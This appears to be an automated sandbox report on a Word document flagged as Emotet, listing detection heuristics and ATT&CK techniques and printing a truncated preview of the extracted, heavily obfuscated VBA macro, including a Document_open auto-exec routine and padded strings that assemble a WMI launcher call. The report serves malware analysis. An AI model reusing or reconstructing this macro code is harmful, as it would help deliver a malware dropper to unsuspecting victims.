MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The file contains VBA macros, specifically a Document_Open macro that uses CreateObject, indicating malicious intent. ClamAV detection confirms this as Emotet. The VBA script is heavily obfuscated but the presence of Document_Open and CreateObject strongly suggests it's designed to download and execute a second-stage payload.
Heuristics 6
-
ClamAV: Doc.Malware.Emotet-9762291-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emotet-9762291-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 21795 bytes |
SHA-256: 9f558458f94a18a1753cb250fa701b5a4b696c6db0138705a67ec847e6bae57b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "O5n_tqtf39_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
U403b805bkq4yoqu2 = Array(Tgi44cf_n0ein + "Opwe2rjvydn6yhSeswb4zt_a8xbt_1 Xcji4m5jagsfq9o0k" + Vxxmw68we56hbzou, P9r94zmbwgotcsy26f, Ot8iq8htxadmzxx3.Imueu7xbkny11wfs, Evqolgi_p4e + "T7a4a52b9klaytdbm Lhtlomftf2uz Fsnwyczy9edf7kq24d Rin9krsyxry_")
End Sub
Attribute VB_Name = "Ot8iq8htxadmzxx3"
Attribute VB_Base = "0{F3FE762A-26B3-4029-BBAD-937E6ECFC5E3}{23E0B2AC-DC64-41B6-972D-C923F4BCA4A3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Imueu7xbkny11wfs()
On Error Resume Next
Set Dx0bnjqcsla = O5n_tqtf39_.Signatures
AfSnzZR = "nOqlf33A9iNrrNvsm"
sVaLlprbq = Mid(AfSnzZR, 7, 1)
TpsDpt = sVaLlprbq
pZFjrEbjNBC = "pPKKJiLM4v 71oruV5pcivwa2KZjUzi"
uujIahXz = Mid(pZFjrEbjNBC, 10, 2)
RTvcMTA = uujIahXz
tiswnRfYm = "KXo8IViD4PY9McsQh9ijyOCrWmfdHLFmtj5"
dXHwKP = Mid(tiswnRfYm, 20, 2)
UbbcYACXi = dXHwKP
Set Fkmv1yryg2oikm1wq = O5n_tqtf39_.Signatures
CQJwp = "8Sh2Dj flCYlNJnk7J"
QwTGUhqYFFM = Mid(CQJwp, 7, 2)
XikUhRIu = QwTGUhqYFFM
jTKUdGGBTDa = "Y5gy9h2AZVCYKYN"
RijspupH = Mid(jTKUdGGBTDa, 3, 2)
YHsppDnDs = RijspupH
DPKLRinDS = "cwysPIzU DWh5BXqvpLlR"
blXBczWlAdq = Mid(DPKLRinDS, 3, 1)
MzMrV = blXBczWlAdq
Set If_kug5jtajg9 = O5n_tqtf39_.Signatures
zJiRGqL = "G4QEfdYffBzLj6r"
dkozDNza = Mid(zJiRGqL, 5, 1)
jnNDOi = dkozDNza
ufKPwOFjN = "CcZ60A4Y18DPEAi3bqXrYbOCvhRA6KbUshmrFXwhu"
jfOPNfK = Mid(ufKPwOFjN, 25, 2)
iqElzbN = jfOPNfK
bNMVhjyfU = MzMrV + QOvjQtQb + RTvcMTA + ivortr + YHsppDnDs + iqElzbN + BNUnazc
Ug6prgridxg_982 = 90
Set Dx0bnjqcsla = O5n_tqtf39_.Signatures
AfSnzZR = "nOqlf33A9iNrrNvsm"
sVaLlprbq = Mid(AfSnzZR, 7, 1)
TpsDpt = sVaLlprbq
pZFjrEbjNBC = "pPKKJiLM4v 71oruV5pcivwa2KZjUzi"
uujIahXz = Mid(pZFjrEbjNBC, 10, 2)
RTvcMTA = uujIahXz
tiswnRfYm = "KXo8IViD4PY9McsQh9ijyOCrWmfdHLFmtj5"
dXHwKP = Mid(tiswnRfYm, 20, 2)
UbbcYACXi = dXHwKP
Set Fkmv1yryg2oikm1wq = O5n_tqtf39_.Signatures
CQJwp = "8Sh2Dj flCYlNJnk7J"
QwTGUhqYFFM = Mid(CQJwp, 7, 2)
XikUhRIu = QwTGUhqYFFM
jTKUdGGBTDa = "Y5gy9h2AZVCYKYN"
RijspupH = Mid(jTKUdGGBTDa, 3, 2)
YHsppDnDs = RijspupH
DPKLRinDS = "cwysPIzU DWh5BXqvpLlR"
blXBczWlAdq = Mid(DPKLRinDS, 3, 1)
MzMrV = blXBczWlAdq
Set If_kug5jtajg9 = O5n_tqtf39_.Signatures
zJiRGqL = "G4QEfdYffBzLj6r"
dkozDNza = Mid(zJiRGqL, 5, 1)
jnNDOi = dkozDNza
ufKPwOFjN = "CcZ60A4Y18DPEAi3bqXrYbOCvhRA6KbUshmrFXwhu"
jfOPNfK = Mid(ufKPwOFjN, 25, 2)
iqElzbN = jfOPNfK
bNMVhjyfU = MzMrV + QOvjQtQb + RTvcMTA + ivortr + YHsppDnDs + iqElzbN + BNUnazc
Jztdxr6nk2lz2_rde = S0gj_ve3vedlmv4o3o + Chr$(Ug6prgridxg_982 + (25))
Set Dx0bnjqcsla = O5n_tqtf39_.Signatures
AfSnzZR = "nOqlf33A9iNrrNvsm"
sVaLlprbq = Mid(AfSnzZR, 7, 1)
TpsDpt = sVaLlprbq
pZFjrEbjNBC = "pPKKJiLM4v 71oruV5pcivwa2KZjUzi"
uujIahXz = Mid(pZFjrEbjNBC, 10, 2)
RTvcMTA = uujIahXz
tiswnRfYm = "KXo8IViD4PY9McsQh9ijyOCrWmfdHLFmtj5"
dXHwKP = Mid(tiswnRfYm, 20, 2)
UbbcYACXi = dXHwKP
Set Fkmv1yryg2oikm1wq = O5n_tqtf39_.Signatures
CQJwp = "8Sh2Dj flCYlNJnk7J"
QwTGUhqYFFM = Mid(CQJwp, 7, 2)
XikUhRIu = QwTGUhqYFFM
jTKUdGGBTDa = "Y5gy9h2AZVCYKYN"
RijspupH = Mid(jTKUdGGBTDa, 3, 2)
YHsppDnDs = RijspupH
DPKLRinDS = "cwysPIzU DWh5BXqvpLlR"
blXBczWlAdq = Mid(DPKLRinDS, 3, 1)
MzMrV = blXBczWlAdq
Set If_kug5jtajg9 = O5n_tqtf39_.Signatures
zJiRGqL = "G4QEfdYffBzLj6r"
dkozDNza = Mid(zJiRGqL, 5, 1)
jnNDOi = dkozDNza
ufKPwOFjN = "CcZ60A4Y18DPEAi3bqXrYbOCvhRA6KbUshmrFXwhu"
jfOPNfK = Mid(ufKPwOFjN, 25, 2)
iqElzbN = jfOPNfK
bNMVhjyfU = MzMrV + QOvjQtQb + RTvcMTA + ivortr + YHsppDnDs + iqElzbN + BNUnazc
Vzxgplpt75j = "PIZDECPIZDECwPIZDECiPIZDECnmPIZDECPIZDECgmPIZDECtPIZDECPIZDEC" + Jztdxr6nk2lz2_rde + "PIZDECPIZDEC:PIZDECwPIZD
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.